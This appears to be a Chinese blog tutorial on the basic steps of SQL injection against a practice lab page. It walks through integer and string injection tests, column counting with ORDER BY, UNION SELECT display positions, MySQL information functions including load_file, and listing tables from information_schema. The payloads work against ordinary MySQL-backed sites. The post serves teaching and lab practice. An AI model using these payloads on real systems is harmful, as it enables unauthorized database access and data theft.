SQL注入基本步骤

一、判断是否可以注入,是何种注入类型(整型,字符型)
举例、
http://xxx/xxx/Less-1/
输入?id=1 and 1=1 --+正常,输入?id=1 and 1=2 --+报错,可判断为整型注入。
输入?id=1’出现报错,输入?id=1’‘正常,可判断为字符型注入。
总结:
单引号是用来猜测是否存在字符型注入,不加就是猜测是否存在整型注入。
二、判断查询返回了多少个列
判断完整型还是字符型后,去判断有多少列,当输入的列数超过它本来的就会出现报错。
举例、
id=1’ order by 3 --+ 未报错
id=1’ order by 4 --+ 报错
则这个数据库有3列数据
三、判断显示位及在显示位上放一些sql函数来获取你想要知道的。
id改为0或负数或100000这种很大的数,这中不存在的情况就会使其报错,就会直接执行后面的语句。
id=0’ union select 1,2,3 --+ 判断其中的显示位为哪个,就可以加入sql函数来进行测试
例如:id=-1’ union select database(),2,3 --+

MySql的函数有
1、system_user() 系统用户名
2、user() 用户名
3、current_user 当前用户名
4、session_user() 连接数据库的用户名
5、database() 数据库名
6、version() MYSQL数据库版本
7、load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
8、@@datadir 读取数据库路径
9、@@basedir MYSQL 安装路径
10、@@version_compile_os 操作系统

四、使用已知的数据库名查找表民
id=-1’ union select group_concat(table_name),2,3 from information_schema.tables where table_schema=“sqli(目标表所在库)” --+

两种SQL语句的区别:

数字型: SELECT 列 FROM 表 WHERE 数字型列=值
字符型: SELECT 列 FROM 表 WHERE 字符型列=’值’

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值